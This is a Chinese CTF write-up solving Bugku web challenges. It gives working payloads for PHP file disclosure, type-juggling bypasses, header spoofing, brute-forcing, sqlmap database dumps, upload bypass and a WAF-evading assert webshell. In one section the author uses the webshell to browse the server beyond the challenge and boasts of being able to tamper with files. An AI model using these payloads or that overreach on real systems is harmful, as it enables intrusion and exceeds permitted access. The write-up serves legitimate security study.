web2
听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/
送分题,查看源代码
1 | ... |
KEY{Web-2-bugKssNNikls9100}
计算器
前端限制输入长度,直接控制台修改maxlength
为一个大点的数就可以了
1 | <span id="code" class="nocode">验证码</span> <input type="text" class="input" maxlength="1"/> |
修改后,做完计算提交验证弹出flag
flag{CTF-bugku-0032}
web基础$_GET
1 | $what=$_GET['what']; |
基础,提交get请求http://123.206.87.240:8002/get/?what=flag
即可
flag{bugku_get_su8kej2en}
web基础$_POST
基础,提交post请求
flag{bugku_get_ssseint67se}
矛盾
1 | $num=$_GET['num']; |
利用php的弱类型,根据代码,num不能是数字,但num==1。因为php是弱类型,==不严格,所以使用1a,1’什么都可以绕过。payloadhttp://123.206.87.240:8002/get/index1.php?num=1a
flag{bugku-789-ps-ssdf}
web3
flag就在这里快来找找吧 http://123.206.87.240:8002/web3/
1 | <!--KEY{J2sa42ahJK-HS11III}--> |
Unicode转ASCII,一行代码完事。
KEY{J2sa42ahJK-HS11III}
域名解析
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
修改hosts文件,在hosts最后加一行123.206.87.240 flag.baidu.com
,在浏览器中访问flag.baidu.com即可
KEY{DSAHDSJ82HDS2211}
你必须让他停下
地址:http://123.206.87.240:8002/web12/
作者:@berTrAM
网页一直刷新,用Burp抓一下,一直在repeater里重放请求,刷新几次会刷到10.jpg,同时会返回flag
flag{dummy_game_1s_s0_popular}
本地包含
题目挂了
变量1
1 | flag In the variable ! |
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
正则表达式/^\w+$/
限制了输入只能是字母和数字
$$args 可变变量 http://www.php.net/manual/zh/language.variables.variable.php
题目中提到,flag在变量中,那么通过可变变量和var_dump()
构造payload:http://123.206.87.240:8004/index1.php?args=GLOBALS
返回array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }
flag{92853051ab894a64f7865cf3c2128b34}
web5
JSPFUCK??????答案格式CTF{\}
http://123.206.87.240:8002/web5/
字母大写
查看源代码,发现是JSFUCK,可以解密,也可以直接在console里执行,结果是ctf{whatfk}
CTF{WHATFK}
头等舱
看到题目,首先想到head
可以在Burp里抓,也可以在Chrome里直接看head
flag{Bugku_k8_23s_istra}
网站被黑
http://123.206.87.240:8002/webshell/
这个题没技术含量但是实战中经常遇到
扫目录发现123.206.87.240:8002/webshell/shell.php
登录需要密码,扔到Burp里爆破密码。最后跑出来密码是hack
flag{hack_bug_ku035}
管理员系统
flag格式flag{}
直接访问,随便输一个用户名密码,提示IP禁止访问,请联系本地管理员登陆,IP已被记录.
使用Burpsuite拦截,在请求中加入X-Forwarded-For: 127.0.0.1
伪造本地登录。
在返回的head底部,有一段<!-- dGVzdDEyMw== -->
Base64解密后为test123
用户名为admin,密码为test123尝试登陆,返回flag
flag{85ff2ee4171396724bae20c0bd851f6b}
web4
看看源代码吧
查看源代码
1 | var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; |
对p1,’%35%34%61%61%32’,p2进行URL解码,得到
1 | function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit; |
提交67d709b2b54aa2aa648cf6e87a7114f1
得到flag
KEY{J22JK-HS11}
flag在index里
在网页中可以跳转到http://123.206.87.240:8005/post/index.php?file=show.php
当时第一眼看到以为是通过file参数读文件,就直接尝试了file=index.php和file=../index.php
等,发现并不行。
看了大佬的思路,学习了php://filter
关于php://filter
有几篇文章不错:
- 谈一谈php://filter的妙用
- Bypassing PHP Null Byte Injection protections – Part II – CTF Write-up
- php://filter 的使用
- php://
payload:http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到index.php内容的Base64编码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
解码得:
1 | <html> |
flag{edulcni_elif_lacol_si_siht}
输入密码查看flag
http://123.206.87.240:8002/baopo/
作者:Se7en
题目里有请输入5位数密码查看,获取密码可联系我。
直接爆破,得到密码13579
flag{bugku-baopo-hah}
点击一百万次
http://123.206.87.240:9001/test/
hints:JavaScript
看源代码中的JS
1 | var clicks=0 |
这里其实只需要post一个表单就可以了,clicks的值要大于1000000。
flag{Not_C00kl3Cl1ck3r}
备份是个好习惯
http://123.206.87.240:8002/web16/
听说备份是个好习惯
说到备份就想到bak。访问http://123.206.87.240:8002/web16/index.php.bak
获得index.php的备份文件。
1 |
|
代码中的$str = str_replace('key','',$str);
移除参数中的key可以用kekeyy
之类的方法绕过。
最后的判断,md5($key1) == md5($key2) && $key1 !== $key2
两个参数不一样,但他们的md5是一样的。这就涉及到php的md5绕过(Hash比较缺陷)。
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
这里给出一部分可以通过php检查的md5
1 | QNKCDZO |
随便构造一个payload:http://123.206.87.240:8002/web16/index.php?kkeyey1=s878926199a&&kkeyey2=s155964671a
另一个思路就是用数组绕过
在PHP中,MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null
payload:http://123.206.87.240:8002/web16/index.php?kekeyy1[]=something&kekeyy2[]=anything
Bugku{OH_YOU_FIND_MY_MOMY}
成绩单
查看源代码,表单以post形式发送。
使用sqlmap一把梭。(与get不同,参数是–data=DATA)
1 | sqlmap.py -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" --dbs |
BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司机
http://123.206.87.240:8002/qiumingshan/
是不是老司机试试就知道。
这种一看就知道,要写脚本了。
1 | import requests |
Bugku{YOU_DID_IT_BY_SECOND}
速度要快
速度要快!!!!!!
http://123.206.87.240:8002/web6/
格式KEY{xxxxxxxxxxxxxx}
又是一道脚本题
flag在head里,并用Base64编码
题目源码提示
<!-- OK ,now you have to post the margin what you find -->
拿到flag以后还要在post出去
1 | import requests |
KEY{111dd62fcd377076be18a}
cookies欺骗
http://123.206.87.240:8002/web11/
答案格式:KEY{xxxxxxxx}
打开网页返回的是
1 | rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry |
除了只能看出是rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
的不断重复,什么也看不出来。
注意现在的URL,http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
参数有意思。filename很明显是Base64。同理将index.php编码为Base64,并不断修改line的值,就读出了整个index.php
1 |
|
由代码可知,cookie里margin=margin
即可,修改cookie后Response里就是flag
KEY{key_keys}
never give up
http://123.206.87.240:8006/test/hello.php
作者:御结冰城
注释第一行是<!--1p.html-->
访问123.206.87.240:8006/test/1p.html
就会发生跳转。
使用view-source查看源码view-source:http://123.206.87.240:8006/test/1p.html
1 | <HTML> |
可以看到里面有编码。
用url解码var Words
一次后得到
1 | <script>window.location.href='http://www.bugku.com';</script> |
对剩余的再解Base64一次
1 | %22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E |
再url解一次
1 | ";if(!$_GET['id']) |
最后所有的组合起来,代码是这样的
1 | <HTML> |
因此,我们可以构造
1 | id=%00或者id=.或者id=0e1 |
于是输入网址:http://123.206.87.240:8006/test/hello.php?id=.&a=php://input&b=.12345
再用Burp Suite提交input数据流,得到flag
flag{tHis_iS_THe_fLaG}
过狗一句话
送给大家一个过狗一句话
<?php $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’]) ?>
分析这个php
1 | "a#s#s#e#r#t"; $poc= |
explode() 函数把字符串打散为数组。参考:PHP explode() 函数
poc_1为被打散为数组的poc,poc_2再逐个连接,即poc_2为assert
php中的assert为一个和eval
类似的常用命令执行函数。不过它与eval区别在于eval参数是字符,assert参数是表达式(函数)。PHP: assert - Manual
http://123.206.87.240:8010/?s=var_dump(scandir(%27./%27))
使用var_dump和scandir结合读取当前文件夹内容。
1 | array(16) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(7) "666.php" [3]=> string(7) "777.php" [4]=> string(5) "a.php" [5]=> string(6) "aa.php" [6]=> string(7) "asd.php" [7]=> string(5) "b.php" [8]=> string(17) "flag_sm1skla1.txt" [9]=> string(9) "index.php" [10]=> string(11) "newfile.txt" [11]=> string(10) "readme.txt" [12]=> string(6) "sy.php" [13]=> string(7) "sy1.php" [14]=> string(8) "test.php" [15]=> string(12) "webshell.php" } |
访问flag_sm1skla1.txt
获得flag。
BUGKU{bugku_web_009801_a}
干点别的
既然可以实现任意命令执行,那么我们拿个shell试试吧。
其实看到目录里那么多php也能猜到很多人和我的想法是一样的。
其实不一定非要写一句话文件进去,这种情况完全可以用无文件的方式用菜刀连接。
http://123.206.87.240:8010/?s=eval($_POST[%27pass%27])
这样连一句话不会留下文件。
其实进去是比较失望的,没有什么价值。
虽然读文件什么的没问题,而且看了其它文件,果然全是一句话。
但是,没有权限。
读其他文件其实也比较鸡肋。http://123.206.87.240:8010/?s=var_dump(scandir(%27../../%27))
一样可以读到上层目录。虽然没什么用,但搅屎够了(滑稽),上传文件编辑文件问题不大。
留个记录 willv.html
字符?正则?
字符?正则?
这道题就是考察正则表达式。
1 |
|
符合正则表达式/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
随便写一个符合要求的字符串就可以。正则表达式学习
简单分析一下这个正则表达式
.*
任意字符匹配,多长都可以
.{4,7}
匹配一个长度为4-7的任意字符串
\/.\/
反斜杠是转义,中间的.
匹配任意字符
(.*key)
任意长度字符串+key
[a-z]
a-z小写字母
[:punct:]
任意符号
\i
大小写不敏感
随便一个payload都可以,比如keyakeyaaaakey:/a/akeya:
KEY{0x0SIOPh550afc}
前女友(SKCTF)
http://123.206.31.85:49162/
flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}
查看源代码看到一个code.txt,打开看到源码
1 |
|
和前面的备份是个好习惯一样。
v1和v2不相等但md5相等。v3和flag用strcmp比较。
最简单的方法是
http://123.206.31.85:49162/?v1[]=1&v2[]&v3[]
因为他们都不能处理数组
稍微复杂一点的方法是
http://123.206.31.85:49162/?v1=s878926199a&v2=s155964671a&v3[]
本质上没什么区别
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
login1(SKCTF)
http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击
参考资料:基于约束的SQL攻击
简而言之,由于在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度,对于超出长度的字符串只能取前n个字符。同时,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。
我们可以这样做,首先随便注册一个账号去登录,提示必须是管理员。再去注册一个账号,用户名为admin (很多空格) 1(什么字符也行)
随便设一个密码,就覆盖了原来的admin用户。再回到登录页以用户名为admin和刚刚设的密码登录就可以登录成功了。
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
你从哪里来
are you from google?
第一印象是检查Referer。
Referer是header的一部分,用于通知是从那个页面访问的,常用于反盗链,访问分析等方面。
用Burpsuite拦截请求,在header里加一行Referer:https://www.google.com
重放即可。
flag{bug-ku_ai_admin}
md5 collision(NUPT_CTF)
MD5碰撞,具体可以看我前面备份是个好习惯里关于md5绕过绕过方面的东西,这道题也是一样的。
payload:http://123.206.87.240:9009/md5.php?a=s878926199a
flag{md5_collision_is_easy}
程序员本地网站
http://123.206.87.240:8002/localhost/
请从本地访问
这道题同样是使用X-Forwarded-For: 127.0.0.1
进行绕过,前面管理员系统中同样用到了这个方法。
flag{loc-al-h-o-st1}
各种绕过
各种绕过哟
1 |
|
依旧是相同的套路,不过这次不是md5,换成sha1了,不过还是一样的。可以参考备份是个好习惯
这次要同时发送get和post请求。uname和passwd的值不一样,但是他们的sha1一样。同时id为margin。
那么我们这么构造payload:
1 | http://123.206.87.240:8002/web7/?uname[]=a&id=margin |
flag{HACK_45hhs_213sDD}
web8
txt????
1 |
|
分析代码,需要两个参数ac和fn,ac要和文件fn里内容相同。这道题有两种办法。
1、题目提示txt,我们猜想文件是flag.txt,访问http://123.206.87.240:8002/web8/flag.txt
得到flag.txt的内容flags
,payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
2、利用file_get_contents文件包含漏洞。参考Web安全实战系列:文件包含漏洞0×04 PHP伪协议中php://input (读取POST数据)。碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。
1 | http://123.206.87.240:8002/web8/?ac=willv&fn=php://input |
有一个奇怪的问题,post这道题的数据时,用Chrome和Firefox的HackBar都拿不到结果,最后用了Postman才拿到flag,很奇怪。
flag{3cfb7a90fc0de31}
细心
地址:http://123.206.87.240:8002/web13/
想办法变成admin
直接访问什么都没有。扫一下目录发现robots.txt
1 | User-agent: * |
访问resusl.php获得提示if ($_GET[x]==$password)
传参x=admin获取flag
flag(ctf_0098_lkji-s)
求getshell
求getshell
这道题很迷。我就说一下这道题怎么绕过吧。
- 上传文件后缀改为php5
- header里的
Content-Type:multipart/form-data
改为Content-Type:multipart/form-Data
(随便大写一个就行)
php的其它后缀有:php2, php3, php4, php5, phps, pht, phtm, phtml
KEY{bb35dc123820e}
这是一个神奇的登陆框
http://123.206.87.240:9001/sql/
flag格式flag{}
post注入,sqlmap一把梭
先用Burpsuite保存一下请求,然后一把梭
python sqlmap.py -r 1.txt --dbs
1 | available databases [2]: |
python sqlmap.py -r 1.txt -D bugkusql1 --tables
1 | Database: bugkusql1 |
python sqlmap.py -r 1.txt -D bugkusql1 -T flag1 --dump
1 | Database: bugkusql1 |
flag{ed6b28e684817d9efcaf802979e57aea}
PHP_encrypt_1(ISCCCTF)
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
下载附件,里面是一个php源码
1 |
|
题目给了一个Base64字符串:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
源码逻辑很简单,通过md5计算得到key,再用循环将key的长度延长到和flag一样,最后做了一个加和然后取余,加密的核心其实就是这一行
1 | $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); |
data就是flag。我们知道了最后的str,char也可以通过前面的循环直接计算。
1 | key=729623334f0aa2784a1599fd374c120d |
可以化简得到一个Python版的加密代码
1 | key = '729623334f0aa2784a1599fd374c120d' |
编写解密脚本得到flag
1 | # -*- coding: UTF-8 -*- |
flag.php
地址:http://123.206.87.240:8002/flagphp/
点了login咋没反应
提示:hint
这道题有点坑。。。
根据提示,访问http://123.206.87.240:8002/flagphp/?hint
得到源码
1 |
|
对cookie进行反序列化然后与KEY比较,相等则显示flag。
需要注意,KEY在比较时还没有声明并赋值,所以比较时的KEY其实是空。还需要注意的一点是,比较时的是"$KEY"
有双引号,如果直接对null反序列化是不行的。其实可以直接写个php来得到结果。
1 |
|
结果是s:0:"";
然后带上cookie(Cookie: ISecer=s:0:"";
)去请求即可得到flag